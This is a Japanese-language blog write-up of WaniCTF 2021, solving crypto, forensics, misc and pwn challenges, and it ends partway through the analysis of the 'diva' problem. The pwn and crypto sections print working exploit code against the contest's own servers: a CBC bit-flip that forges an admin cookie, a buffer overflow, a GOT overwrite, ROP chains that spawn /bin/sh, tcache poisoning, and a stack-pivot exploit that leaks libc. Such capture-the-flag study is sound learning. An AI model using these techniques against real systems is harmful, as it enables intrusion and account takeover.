1
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

WaniCTF 2021 write-up

Last updated at Posted at 2021-11-07

全完4位。

cert.jpg

image.png

image.png

image.png

Crypto

fox (Beginner)

chall.py
flag = b"FAKE{REDACTED}"


def bytes_to_int(B: bytes):
    X = 0
    for b in B:
        X <<= 8
        X += b
    return X


print(bytes_to_int(flag))

int_to_bytesを実装すれば良い……し、しなくてもCrypto.Util.numbersにある。

$ python3
Python 3.6.9 (default, Jan 26 2021, 15:33:00)
[GCC 8.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from Crypto.Util.number import *
>>> long_to_bytes(19116989514623535769166210117786818367158332986915210065591753844573169066323884981321863605962664727709419615399694310104576887228581060509732286555123028133634836954522269304382229987197)
b'FLAG{R1ng_d1n9_ding_d1ng_ding3ring3ding?__Wa_p@_pa_p@_pa_p@_pow?__or_konko-n?}'

FLAG{R1ng_d1n9_ding_d1ng_ding3ring3ding?__Wa_p@_pa_p@_pa_p@_pow?__or_konko-n?}

dango (Easy)

chall.py
import secrets
from functools import reduce

flag = b"FAKE{REDACTED}"
key = [secrets.token_bytes(len(flag)) for _ in range(3)]


def XOR(*X):
    xor = lambda A, B: bytes(x ^ y for x, y in zip(A, B))
    return reduce(xor, X)


ciphertext = XOR(flag, key[0])
A = XOR(key[0], key[1], key[2])
B = XOR(key[0], key[1])
C = XOR(key[1], key[2])

print(f"ciphertext : {ciphertext.hex()}")
print(f"A : {A.hex()}")
print(f"B : {B.hex()}")
print(f"C : {C.hex()}")

XORを2回掛けることを消えることを考えれば、flagciphertext xor A xor Cである。

solve.py
ciphertext = bytes.fromhex("bd35b1c95ee9436db8fad5c3aa493660e606fa4dd7fe171aac75313c18ce5fcf86f0")
A = bytes.fromhex("cae61858ee8c7198632c652fd8416092eb165e2f847f0ebd80637ed0ffd96c6e0359")
B = bytes.fromhex("e6ed8bda14f67343d81830f0f2be3299a97b541db48cfa1873a13e8d774f1e243ce7")
C = bytes.fromhex("319fe8d6cb01539bbcb9ef9f13663d8b6274c50b0ce578c94b7910b3ca785ccea8d4")

from functools import reduce

def XOR(*X):
    xor = lambda A, B: bytes(x ^ y for x, y in zip(A, B))
    return reduce(xor, X)

print(XOR(ciphertext, A, C).decode())
$ python3 solve.py
FLAG{dango_sankyodai_dango__-ooo-}

FLAG{dango_sankyodai_dango__-ooo-}

Sweet curve (Normal)

parameters.txt
# Given:
# - An elliptic curve: y**2 = x**3 - x + 1 (mod p)
# - Two points: P(x_P, y_P) and Q(x_Q, y_Q)

# Find the point P+Q
# The flag is the x value of P+Q
# Don't forget to convert it into a string!
p = 0x89a4e2c7f834f5fbc6f2a314e373e3723de7df6283c5d97cbca509c61e02965b7ef96efce1d827bfdfa7f21d22803558bb549f9ea15dfe9f47d3976648c55feb
x_P = 0x1e1cba0e07c61cf88e9f23b9859093c33c26cf83bcfb6fe24d7559cd0ea86fb2f144ae643ac5edf6f04ef065dc7c2c18d88ae02843592d5e611029fefc0fece
y_P = 0x198420b30a4330f82380326895d0ac06a1859bc49d45cd4b08021b857d23d515163b9151fbaf7ae5f816d485d129d3b1c4630d1fb45c6790af551428a5c85667
x_Q = 0x7e32edfd7befd8df93d7b738d6a1c95e1cfd56b3a6ccc4a62e4e0ae9059b4903e71fccbe07d8d45c762b4a3ed5c9d1a2505043d033e58adb72191259b81bc47d
y_Q = 0x46016c676585feaf048fff9d5cbb45dbd598c6c4c81694e0881bf110b57012f0bac6eaf7376fee015c8cecba1fc92206ca346f7d72ee1d60f820091c85fa76b3

定義通りに楕円曲線上の点の和を計算すれば良い。

solve.py
p = 0x89a4e2c7f834f5fbc6f2a314e373e3723de7df6283c5d97cbca509c61e02965b7ef96efce1d827bfdfa7f21d22803558bb549f9ea15dfe9f47d3976648c55feb
x_P = 0x1e1cba0e07c61cf88e9f23b9859093c33c26cf83bcfb6fe24d7559cd0ea86fb2f144ae643ac5edf6f04ef065dc7c2c18d88ae02843592d5e611029fefc0fece
y_P = 0x198420b30a4330f82380326895d0ac06a1859bc49d45cd4b08021b857d23d515163b9151fbaf7ae5f816d485d129d3b1c4630d1fb45c6790af551428a5c85667
x_Q = 0x7e32edfd7befd8df93d7b738d6a1c95e1cfd56b3a6ccc4a62e4e0ae9059b4903e71fccbe07d8d45c762b4a3ed5c9d1a2505043d033e58adb72191259b81bc47d
y_Q = 0x46016c676585feaf048fff9d5cbb45dbd598c6c4c81694e0881bf110b57012f0bac6eaf7376fee015c8cecba1fc92206ca346f7d72ee1d60f820091c85fa76b3

phi = (y_Q-y_P)*pow(x_Q-x_P, p-2, p)
x = (phi**2-x_P-x_Q)%p
print(x.to_bytes(64, "big").decode())
$ python3 solve.py
FLAG{7h1s_curv3_alw@ys_r3m1nd5_me_0f_pucca}

FLAG{7h1s_curv3_alw@ys_r3m1nd5_me_0f_pucca}

AES-NOC (Hard)

AES-CBCか...って、あれ?

サーバーには、与えたバイト列をAES-NOC(とは?)で暗号化する機能と、暗号化したフラグを返す機能がある。

image.png

もし$P_3$が分かっていると、$P_0$の位置に$P_3$を突っ込めば、$C_0 = enc(P_3) \oplus IV$が得られ、$enc(P_3) = C_0 \oplus IV$を計算できる。そうすると、$P_2 = C_3 \oplus enc(P_3)$が計算できる。そしてこの問題ではフラグが49文字とassertされているので、パディングも含めると$P_3$が分かる。後は同様に$P_0$まで遡れる。

attack.py
from pwn import *

def xor(A, B):
  return bytes(a^b for a, b in zip(A, B))

s = remote("aesnoc.crypto.wanictf.org", 50000)

s.recvuntil("iv = '")
iv = bytes.fromhex(s.recv(32).decode())

s.sendlineafter("> ", "1")
s.recvuntil("encrypted_flag = '")
encrypted_flag = bytes.fromhex(s.recv(128).decode())

prev = b"}"+bytes([15]*15)
flag = prev

for i in range(3)[::-1]:
  s.sendlineafter("> ", "2")
  s.sendlineafter("> ", prev.hex())
  s.recvuntil("ciphertext = '")
  c = bytes.fromhex(s.recv(32).decode())
  p = xor(xor(c, iv), encrypted_flag[i*16+16:i*16+32])
  prev = p
  flag = p+flag

print(flag[:49].decode())
$ python3 attack.py
[+] Opening connection to aesnoc.crypto.wanictf.org on port 50000: Done
FLAG{Wh47_h4pp3n$_1f_y0u_kn0w_the_la5t_bl0ck___?}

FLAG{Wh47_h4pp3n$_1f_y0u_kn0w_the_la5t_bl0ck___?}

Flag Service (Very hard)

{"admin": false, "username": "kusano"}のようなJSONがAES-CBCで暗号化されてcookieに保存される。admintrueになればフラグが得られる。

暗号化は改竄を防ぐためのものではない。IVのビットを反転させると、先頭16バイトの対応するビットが反転する。

{"admin": false, "username": "kusano"}

{"admin": true , "username": "kusano"}

に書き換える。

solve.py
import base64

d = "+AB6EmDM1SK5RnQNM8FNToFe8Oq6KVpSLIDjkyDmL9YSWSJvHo/rM8J+vwheEmW83CRqTGrFj1foIfTHFF2dfA=="
d = base64.b64decode(d)
d = list(d)
d[0xa] ^= ord("f")^ord("t")
d[0xb] ^= ord("a")^ord("r")
d[0xc] ^= ord("l")^ord("u")
d[0xd] ^= ord("s")^ord("e")
d[0xe] ^= ord("e")^ord(" ")
d = bytes(d)
d = base64.b64encode(d)
print(d)

Base64の文字列は普通にログインしてcookie指定されたもの。このスクリプトの出力をcookieに設定すると、フラグが得られる。

FLAG{Fl1p_Flip_Fl1p_Flip_Fl1p____voila!!}

Forensics

propaganda (Beginner)

Counter-Strikeのプレイ動画。1フレームだけフラグが表示されるので、適当なプレイヤーでコマ送り。

FLAG{Stand_tall_We_are_Valorant_We_are_fighters!}

partition01 (Easy)

新しくUSBを買ったのでたくさんパーティションを作ってみました!

2 GBのイメージ。マウントするとたくさんパーティションがあって大変そうな気がしたので、バイナリエディタでFLAG{と検索。フェイクもあるけど、フラグは見つかった。

FLAG{GPT03}

partition02 (Hard)

FLAG01とFLAG02にflag画像を分割して入れておきました.
添付のファイルは"partition01"と同じものです.

やっぱりちゃんと調べないとダメか。FTK Imagerで開いて探した。5番目と7番目のパーティションにあった。

$ cat flag01.png flag02.png > flag.png

FLAG{you_found_flag_in_FLAGs}

sonic (Easy)

何かデータを送っているかのような音声。モデムの通信をデコードするソフトでパラメタを色々と弄ってみたけど出てこない。

これで、Easy……? 数十人解いている……?

Sonic Visualiserでスペクトル表示にしたら出てきた。

image.png

同じ事は、最初にAudacityでやったけど、出てこなかったんだよな……。上のほう、てっきり低い周波数で何かを送っているのの影響が出ているのだと思ってスルーしていたが、もうちょっと上にフラグがあったのか……。

image.png

poly (Normal)

お前...pngか...?

PNG画像なのだけど、後半のほうはMP3っぽく見える。単純にPNG画像の直後にMP3を貼り合わせているのではなく、PNG画像のデータ部分に突っ込んでいる。MP3の先頭がどこか分からない……けど、PNGのヘッダだけ消してMPC-HCで開いたら、再生してくれた。優秀。

FLAG{thisismpng3}

breakRAID (Very hard)

HDDが1台壊れてしまったみたいです.

disk00、disk01、disk02の3個のイメージがあって、disk00は中身が全部0。

のLeft Asymmetricのイメージだったけど、LinuxのデフォルトはLeft Symmetricらしい。あとはRAIDのブロックサイズ(ストライプサイズ)を色々と試して……ファイルがデフラグされていたら単にバイナリファイルと見て抽出はできないから、解析ソフトで開きたいけど、そのためにはRAIDの管理領域を削らないといけない……? とかでハマった。

考えてみれば、3台中1台壊れただけで、普通にアクセスできるのだから普通に開けば良いな。

$ sudo losetup
# /dev/loop?? がどこまで使われているか調べる
$ sudo losetup /dev/loop12 disk01
$ sudo losetup /dev/loop13 disk02
$ sudo mdadm --assemble /dev/md0 /dev/loop12 /dev/loop13
mdadm: /dev/md0 has been started with 2 drives (out of 3).
$ mkdir tmp
$ sudo mount /dev/md0 tmp
$ ls -al tmp
合計 2480
drwxr-xr-x 3 root   root     4096 10月 21 14:15 .
drwxrwxr-x 3 kusano kusano   4096 11月  7 19:12 ..
-rw-r--r-- 1 root   root   133326 10月 21 14:15 01.png
-rw-r--r-- 1 root   root   137628 10月 21 14:15 02.png
-rw-r--r-- 1 root   root   138515 10月 21 14:15 03.png
-rw-r--r-- 1 root   root   138252 10月 21 14:15 04.png
-rw-r--r-- 1 root   root   141267 10月 21 14:15 05.png
-rw-r--r-- 1 root   root   135050 10月 21 14:15 06.png
-rw-r--r-- 1 root   root   134004 10月 21 14:15 07.png
-rw-r--r-- 1 root   root   138596 10月 21 14:15 08.png
-rw-r--r-- 1 root   root   135704 10月 21 14:15 09.png
-rw-r--r-- 1 root   root   135050 10月 21 14:15 10.png
-rw-r--r-- 1 root   root   136966 10月 21 14:15 11.png
-rw-r--r-- 1 root   root   138399 10月 21 14:15 12.png
-rw-r--r-- 1 root   root   135704 10月 21 14:15 13.png
-rw-r--r-- 1 root   root   142293 10月 21 14:15 14.png
-rw-r--r-- 1 root   root   142293 10月 21 14:15 15.png
-rw-r--r-- 1 root   root   142293 10月 21 14:15 16.png
-rw-r--r-- 1 root   root   142293 10月 21 14:15 17.png
-rw-r--r-- 1 root   root   142308 10月 21 14:15 18.png
drwx------ 2 root   root    16384 10月 21 14:15 lost+found
# 後片付け
$ sudo umount tmp
$ rmdir tmp
$ sudo mdadam --stop /dev/md0
$ sudo losetup -d /dev/loop12
$ sudo losetup -d /dev/loop13

FLAG{ra1dr4idxxxx}

Misc

binary (Beginner)

CSVの2列目に01が並んでいる。

solve.py
s = ""
for l in open("binary.csv"):
  l = l[:-1]
  if " ," in l:
    s += l.split(" ,")[1]
print(int(s, 2).to_bytes(64, "big"))
$ python3 solve.py
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00FLAG{binary-is-essential-for-communication}\n'

FLAG{binary-is-essential-for-communication}

digital ASK (Normal)

16個ごとに000...0111...1が並んでいる。

solve.py
from Crypto.Util.number import *

d = ""
for l in open("digital_ask.csv"):
  l = l[:-1]
  if " ," in l:
    d += l.split(" ,")[1]

a = ""
for i in range(0, len(d), 16):
  assert d[i:i+16] in ("0"*16, "1"*16)
  a += d[i]
print(long_to_bytes(int(a, 2)))
$ python3 solve.py
b"\x02\xaa\xaa\xaa\xab\x95\x191\x05\x1d\xed\xc1\xb1\x95\x85\xcd\x94\xb5\xd5\xb9\x91\x95\xc9\xcd\xd1\x85\xb9\x90\xb5\x99\xc9\x85\xb5\x94\xb5\x99\xbd\xc9\xb5\x85\xd0\xb5\xbd\x98\xb5\xdd\xa5\xc9\x95\xb1\x95\xcd\xcc\xb5\x8d\xbd\xb5\xb5\xd5\xb9\xa5\x8d\x85\xd1\xa5\xbd\xb9\xf4(\x00\x00\x00\x00\x00\x00\xaa\xaa\xaa\xaa\xe5FLAG{please-understand-frame-format-of-wireless-communication}\n\x00\x00\x00\x00\x00\x00*\xaa\xaa\xaa\xb9Q\x93\x10Q\xde\xdc\x1b\x19X\\\xd9K][\x99\x19\\\x9c\xdd\x18[\x99\x0bY\x9c\x98[YKY\x9b\xdc\x9bX]\x0b[\xd9\x8b]\xda\\\x99[\x19\\\xdc\xcbX\xdb\xdb[][\x9aX\xd8]\x1a[\xdb\x9fB\x80\x00\x00\x00\x00\x00\n\xaa\xaa\xaa\xaeTd\xc4\x14w\xb7\x06\xc6V\x176R\xd7V\xe6FW'7F\x16\xe6B\xd6g&\x16\xd6R\xd6f\xf7&\xd6\x17B\xd6\xf6b\xd7v\x97&V\xc6W72\xd66\xf6\xd6\xd7V\xe6\x966\x17F\x96\xf6\xe7\xd0\xa0\x00\x00\x00\x00\x00\x02\xaa\xaa\xaa\xab\x95\x191\x05\x1d\xed\xc1\xb1\x95\x85\xcd\x94\xb5\xd5\xb9\x91\x95\xc9\xcd\xd1\x85\xb9\x90\xb5\x99\xc9\x85\xb5\x94\xb5\x99\xbd\xc9\xb5\x85\xd0\xb5\xbd\x98\xb5\xdd\xa5\xc9\x95\xb1\x95\xcd\xcc\xb5\x8d\xbd\xb5\xb5\xd5\xb9\xa5\x8d\x85\xd1\xa5\xbd\xb9\xf4(\x00\x00\x00\x00\x00\x00\xaa\xaa\xaa\xaa\xe5FLAG{please-understand-frame-format-of-wireless-communication}\n\x00\x00\x00\x00\x00\x00*\xaa\xaa\xaa\xb9Q\x93\x10Q\xde\xdc\x1b\x19X\\\xd9K][\x99\x19\\\x9c\xdd\x18[\x99\x0bY\x9c\x98[YKY\x9b\xdc\x9bX]\x0b[\xd9\x8b]\xda\\\x99[\x19\\\xdc\xcbX\xdb\xdb[][\x9aX\xd8]\x1a[\xdb\x9fB\x80\x00\x00\x00\x00\x00\n\xaa\xaa\xaa\xaeTd\xc4\x14w\xb7\x06\xc6V\x176R\xd7V\xe6FW'7F\x16\xe6B\xd6g&\x16\xd6R\xd6f\xf7&\xd6\x17B\xd6\xf6b\xd7v\x97&V\xc6W72\xd66\xf6\xd6\xd7V\xe6\x966\x17F\x96\xf6\xe7\xd0\xa0\x00\x00\x00\x00\x00\x02\xaa\xaa\xaa\xab\x95\x191\x05\x1d\xed\xc1\xb1\x95\x85\xcd\x94\xb5\xd5\xb9\x91\x95\xc9\xcd\xd1\x85\xb9\x90\xb5\x99\xc9\x85\xb5\x94\xb5\x99\xbd\xc9\xb5\x85\xd0\xb5\xbd\x98\xb5\xdd\xa5\xc9\x95\xb1\x95\xcd\xcc\xb5\x8d\xbd\xb5\xb5\xd5\xb9\xa5\x8d\x85\xd1\xa5\xbd\xb9\xf4(\x00\x00\x00\x00\x00\x00\xaa\xaa\xaa\xaa\xe5FLAG{please-understand-frame-format-of-wireless-communication}\n"

FLAG{please-understand-frame-format-of-wireless-communication}

ASK over the air (Hard)

image.png

こんなデータなので、IとQの最大値が一定以下ならば0、そうでなければ1として、前問と同じく16個ごとに区切ってみるとこうなる。

 :
1111000000000000
1111111111111111
1111000000000000
1111111111111111
1111111111111111
1111111111111111
1111000000000000
0000000000000000
1111111111111111
1111000000000000
1111111111111111
1111000000000000
1111111111111111
1111000000000000
 :

一見、4個分ずれているのかと思ったけど、良く見るとそうでもない。ま、0が多ければ0、1が多ければ1で良いか。そう変換して、8個ずつに区切るとこうなる。

00000000
00000000
00000000
00000000
00000000
00000010
10101010
10101010
10101010
10101011
10010101
00011001
00110001
00000101
00011101
 :

今度は単にずれているっぽい。

solve.py
I = []
Q = []

for l in open("ask-over-the-air.csv"):
  l = l[:-1]
  if l=="time,I,Q":
    continue
  time, i, q = map(float, l.split(","))
  I += [i]
  Q += [q]

a = ""
for i in range(len(I)):
  if max(abs(I[i]), abs(Q[i]))<1e-3:
    a += "0"
  else:
    a += "1"
# for i in range(0, len(a), 16):
#  print(a[i:i+16])

b = ""
for i in range(0, len(a), 16):
  t = a[i:i+16]
  if t.count("0")>t.count("1"):
    b += "0"
  else:
    b += "1"
# for i in range(0, len(b), 8):
#  print(b[i:i+8])

b = b[6:]
c = b""
for i in range(0, len(b), 8):
  c += bytes([int(b[i:i+8], 2)])
print(c)
$ python3 solve.py
b'\x00\x00\x00\x00\x00\xaa\xaa\xaa\xaa\xe5FLAG{you-can-decode-many-IoT-communications}\n\x00\x00\x00\x00\x00'

FLAG{you-can-decode-many-IoT-communications}

docker_dive (Easy)

Dockerの中に入ってsolverを実行してください。

Dockerfileと一緒にsolverも配布されているので、ホスト上でそのまま実行すれば良いのでは?

$ ./solver
sh: 1: help: Permission denied
You are not in docker

はい。このチェックを潰すよりは、言われたとおりにDockerで動かすほうが速いか。

>docker build . -t wani_docker
 :
>docker run --rm -it wani_docker
/home/misc # ./solver
musl libc (x86_64)
Version 1.2.2
Dynamic Program Loader
Usage: /lib/ld-musl-x86_64.so.1 [options] [--] pathname
FLAG{y0u_Kn0W_H0w_to_Get_1nto_7he_DockeR}/home/misc #

FLAG{y0u_Kn0W_H0w_to_Get_1nto_7he_DockeR}

nearest (Easy)

最後に残った問題がこれ。

写真の場所に行きたいので、最寄り駅を教えてください。

nearest.jpg

  • 電車が黄色一色
    • 岡山県や広島県では、瀬戸内海の陽光をイメージしてこうなっているらしい
      • コスト削減の言い訳のような気がしなくもないが……
    • プレートか何かの部分も塗りつぶされているので、まさにどこかから買ってきた車両を塗った感じ
  • 写真の左端の車両部分に46という文字が見える
    • しかし、型式番号とかならともかく、車両番号が分かってもな……
  • 「○○駅前商店街」と言わずに、「駅前商店街」って珍しいな
  • 交通安全ののぼりに地域性があるのでは?
  • 奥に見える変な形の窓の建物は学校の校舎、丸い屋根は体育館かな?
  • 「駅前商店街」の後ろにある看板は「女さくら」?
    • しかしググっても出てこない
  • フラグに「ヘボン式」と明記してあるということは、ヘボン式と訓令式で異なる文字を含む?
    • そんな駅いくらでもあるだろ……

全然分からないのだけど、難易度Easyで、正解者数も多いし、なんだこれ……。

で、Google Lens(スマホのGoogleアプリから使える)に写真を突っ込んだら似たような屋根が出てきた。すごい。

写真 2021-11-07 19 40 24.png

FLAG{onomichieki}

Pwn

nc (Beginner)

ヒント
netcat (nc)と呼ばれるコマンドを使うだけです。

$ nc nc.pwn.wanictf.org 9001
welcome to WaniCTF 2021!!!
cat flag.txt
FLAG{the-1st-step-to-pwn-is-netcatting}

BOF (Beginner)

bof.c
 :
int main() {
  char password[0x34] = "";
  int ok = 0;

  setup();

  printf("ふっかつのじゅもんを いれてください\n");
  gets(password);

  if (strcmp(password, flag) == 0)
    ok = 1;

  if (ok) {
    printf("よくぞもどられた!\n");
    printf("%s\n", flag);
  } else {
    printf("じゅもんが ちがいます\n");
  }
}

okを適当に上書き。

$ nc bof.pwn.wanictf.org 9002
ふっかつのじゅもんを いれてください
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
よくぞもどられた!
FLAG{D0_y0U_kN0w_BuFf3r_0Ver_fL0w?_ThA2k_y0U_fOR_s01v1ng!!}
Segmentation fault (core dumped)

FLAG{D0_y0U_kN0w_BuFf3r_0Ver_fL0w?_ThA2k_y0U_fOR_s01v1ng!!}

got rewriter (Easy)

printfのアドレスを書き換えた。

$ nc got-rewriter.pwn.wanictf.org 9003
Welcome to GOT rewriter!!!
win = 0x400807
Please input target address (0x600000-0x700000): 601038
Your input address is 0x601038.
Please input rewrite value: 400807
Your input rewrite value is 0x400807.

*0x601038 <- 0x400807.


congratulation!
cat flag.txt
FLAG{you-are-pro-pwner-or-learned-how-to-find-writeup}

FLAG{you-are-pro-pwner-or-learned-how-to-find-writeup}

rop-machine-returns (Easy)

$ nc rop-machine-returns.pwn.wanictf.org 9004
welcome to rop-machine-returns!!!

"/bin/sh" address is 0x404070

[menu]
1. append hex value
2. append "pop rdi; ret" addr
3. append "system" addr
8. show menu (this one)
9. show rop_arena
0. execute rop
> 2
"pop rdi; ret" is appended
> 1
hex value?: 404070
0x0000000000404070 is appended
> 3
"system" is appended
> 0
     rop_arena
+--------------------+
| pop rdi; ret       |<- rop start
+--------------------+
| 0x0000000000404070 |
+--------------------+
| system             |
+--------------------+
cat flag.txt
FLAG{please-learn-how-to-use-rop-machine}

FLAG{please-learn-how-to-use-rop-machine}

rop-machine-final (Hard)

攻撃スクリプトのテンプレートを用意してくれている。とはいえ面倒だな……。

attack.py
 :
### followings are just example junk rop codes ###
# cmd_append_pop_rdi()
# cmd_append_hex(0x404140)
# cmd_append_open()
# cmd_show_arena()
# cmd_execute()

# gets(buf)
cmd_append_pop_rdi()
cmd_append_hex(0x404140)
cmd_append_gets()

# open(buf, 0)
cmd_append_pop_rdi()
cmd_append_hex(0x404140)
cmd_append_pop_rsi()
cmd_append_hex(0)
cmd_append_open()

# read(3, buf, 0x100)
cmd_append_pop_rdi()
cmd_append_hex(3)
cmd_append_pop_rsi()
cmd_append_hex(0x404140)
cmd_append_pop_rdx()
cmd_append_hex(0x100)
cmd_append_read()

# write(1, buf, 0x100)
cmd_append_pop_rdi()
cmd_append_hex(1)
cmd_append_pop_rsi()
cmd_append_hex(0x404140)
cmd_append_pop_rdx()
cmd_append_hex(0x100)
cmd_append_write()

cmd_execute()

ファイル名は、getsが実行されたときに入力する。ファイルディスクリプタは連番なので、開いたファイルは、標準入力(0)、標準出力(1)、エラー出力(2)に続いて3になるはず。

$ python3 solve.py
 :
+-----------------------------------+
| 0x00007f48ecfd1210 (write       ) |
+-----------------------------------+
$ ./flag.txt
FLAG{you-might-be-the-real-rop-master}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x13\x00\x00\x00\x13\x00\x00\x00\x13\x00\x00\x00\x11\xecH\x00\x10\xfd\xecH@\x11\xecH\x00\x10\xfd\xecH\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Segmentation fault (core dumped)
[*] Got EOF while reading in interactive
$

FLAG{you-might-be-the-real-rop-master}

baby_heap (Normal)

Tcache poisoningを練習するための問題です。

  1. チャンクを2個確保して開放する
  2. 後に開放したチャンクに書き込みたいアドレス(この問題ではmainのreturn address)を書き込む
  3. チャンクを2回確保する
  4. 2回目には2. で書き込んだアドレスが返ってくるので、好きな値(この問題ではsystem('/bin/sh')のアドレス)を書き込む
$ nc babyheap.pwn.wanictf.org 9006
Do arbitrary write using tcache bin.
ldd (Ubuntu GLIBC 2.31-0ubuntu9.2) 2.31
malloc is fixed at size 0x10

system('/bin/sh') at >0x5584a0899342
Return address of main at >0x7fff2196d3c8

Bin count >0

!! Segfault may happen when fd isn't readable address
fd >>>
           ↑
Will be allocated for the next malloc

[0] : Not Allocated
[1] : Not Allocated
[2] : Not Allocated
[3] : Not Allocated
[4] : Not Allocated
---------------
1. malloc
2. free
3. write
4. exit
>1
Where? >0
 :
>1
Where? >1
 :
>2
Where? >1
 :
>2
Where? >0
 :
>3
What will happen if you can write fd of free chunk?
Where? >0
What? ( ex: 0x123456 )>7fff2196d3c8
 :
>1
Where? >2
 :
>1
Where? >3
 :
>3
What will happen if you can write fd of free chunk?
Where? >3
What? ( ex: 0x123456 )>5584a0899342
 :
>4

cat flag.txt
FLAG{This_is_Hint_for_the_diva}

FLAG{This_is_Hint_for_the_diva}

Tarinai (Hard)

良くあるスタックバッファオーバーフローだけれど、オーバーフローできるのは2バイトだけ。この部分には関数冒頭でpush rbpされたrbpがある。

関数から戻るときのleave命令では、mov rsp, rbp; pop rbp;が行われる。この段階ではrbpが書き換わるだけで何も起こらない。戻った関数からさらに戻るときにもう一度leaveが実行され、ここでrspが書き換わる。書き換えた先にROPを用意しておけば良い。

attack.py
from pwn import *

elf = ELF("chall")
context.binary = elf

# s = remote("localhost", 7777)
s = remote("tarinai.pwn.wanictf.org", 9007)

s.recvuntil("Name @>0x")
name = int(s.recv(12).decode(), 16)

pop_rsi_r15 = 0x4012f1
pop_rdi = 0x4012f3
nop = 0x4012f4

payload = (
  pack(0) +

  # printf(printf)
  pack(pop_rdi) +
  pack(elf.got.printf) +
  pack(nop) +
  pack(elf.plt.printf) +
  
  pack(nop) +
  pack(elf.symbols.main))

payload = payload.ljust(256, b"\0")
payload += bytes([name%256, name//256%256])
s.sendafter("Name>", payload)

s.recvuntil("Hello ")
printf = unpack(s.recv(6)+b"\0\0")

libc = ELF("libc.so.6")
libc.address = printf - libc.symbols.printf

s.recvuntil("Name @>0x")
name = int(s.recv(12).decode(), 16)

payload = (
  b"/bin/sh\0" +

  # system("/bin/sh")
  pack(pop_rdi) +
  pack(name) +
  pack(nop) +
  pack(libc.symbols.system))

payload = payload.ljust(256, b"\0")
payload += bytes([name%256, name//256%256])
s.sendafter("Name>", payload)

s.interactive()
$ python3 attack.py
[*] '/mnt/d/documents/ctf/wani2021_2/Tarinai/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
[+] Opening connection to tarinai.pwn.wanictf.org on port 9007: Done
[*] '/mnt/d/documents/ctf/wani2021_2/Tarinai/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Switching to interactive mode
Hello /bin/sh$ cat flag.txt
FLAG{Now_You_Know_Function_Epilogue}$
$

FLAG{Now_You_Know_Function_Epilogue}

diva (Very hard)

これ難しかった。

私の使命は歌でフラグを取ること

diva.c
 :
char *parseVar(char *var) {
  int intTemp;
  char *str_temp;
  if (var[0] == '%') {
    intTemp = var[1] - 48;
    if (intTemp < 0 || intTemp > 2)
      printf("Out of Boundary!\n");
    else if (strlen(lyrics[intTemp]) == 0)
      printf("Cannot access memory\n");
    else
      return lyrics[intTemp];
  } else {
    return var;
  }
  return NULL;
}

void sing(char *parameter) {
  printf("🎵");
  printf(
      parseVar(parameter)); // Looks Safe since we use % as register indicator!
  printf("🎵\n");
}
 :
void writeLyrics(char *parameter1, char *parameter2) {
  int i;
  if (parameter1[0] != '%')
    printf("ERROR : Destination of 'write' should be register\n");
  else {
    i = parameter1[1] - 48;
    memcpy(lyrics[i], parseVar(parameter2), 16);
  }
}
 :
int main() {
  init();

  if (counter != 0)
    printf("Program came from the future\n\n");

  printf("I'm born to take flag with music\n");
  int i;
  for (i = 0; i < 101; i++) {
    switch (i) {
    case 0:
      printf("Year : %d\n", 2061 + i);
      parser(textArea[0]);
      break;
    case 15:
      printf("Year : %d\n", 2061 + i);
      parser(textArea[1]);
      break;
    case 20:
      printf("Year : %d\n", 2061 + i);
      parser(textArea[2]);
      break;
    case 60:
      printf("Year : %d\n", 2061 + i);
      parser(textArea[3]);
      break;
    case 100:
      printf("Year : %d\n", 2061 + i);
      parser(textArea[4]);
      parser(textArea[5]);
    }
  }

  printf("I wasn't able to get the flag.\n\n");
  initializeSystem();
  printf("Give me your code to send to the past\n");
  printf("counter : %d\n", counter);

  for (int i = 0; i < 6; i++) {
    textArea[i] = (char *)malloc(32 * sizeof(char));
    printf("%d>", i);

    read(0, textArea[i], 0x40);
  }

  printf("Change this FLAGless history!! Please...\n");
  counter += 1;
}

脆弱性は、

  • singで、parameterの2文字目以降に%を入れておくと、書式指定文字列攻撃ができる
    • parseVarで見ているのは1文字目だけなので
  • writeLyricsで書き込み先の範囲チェックが漏れているので、lyricsの周囲に好きな値が書き込める
  • mainの最後のtextAreaに文字列を読み込むところで、ヒープバッファオーバフロー

書式文字列攻撃でスタックからlibcのアドレスを取得し、writeLyricsfpの値をsystemにでも書き換えれば良さそうである。

ただ、このプログラムは、textAreaの内容を見て処理しているのに、textAreaに書き込めるのはプログラム終了直前。まずはヒープバッファオーバフローで終了時にmainの先頭に戻る必要がある。各メッセージもそうしろと言っている感じ。

initializeSystemmallocfreeが実行され、main関数で確保するメモリはtcacheから取られる。ここをオーバーフローで書き換えられるので、任意のアドレスに任意の値を書き込める。tcacheからチャンクが返されるときにkeyの部分(返ってくるアドレス+8)が0クリアされることに注意。

最後のprintfputsに書き換えられているので、GOTのputsを書き換えれば良いかと思ったけど、プログラムの冒頭にもputsがあって、mainが無限ループしてしまうのでダメ。その冒頭部分を飛ばすと、スタックがずれてmovapsで途中で落ちる。

ループ5回目でGOTのmallocを書き換え、ループ6回目のmallocmainに戻るようにすると上手くいく。

この辺からハマり始める。libcのアドレスの取得と、そのアドレスから計算したペイロードの書き込みで、処理は2回実行したい。mallocを書き換えたままだと、textAreaの2回目の読み込み前にmainに返ってしまう。textAreaに書き込むコマンドを工夫して、mallocのアドレスを元に戻すことはできる。しかし、tcache poisoningを使った時点で、tcacheは書き換えが不可能なlibcのmallocを指しているので、次にmallocが呼び出されると落ちる。

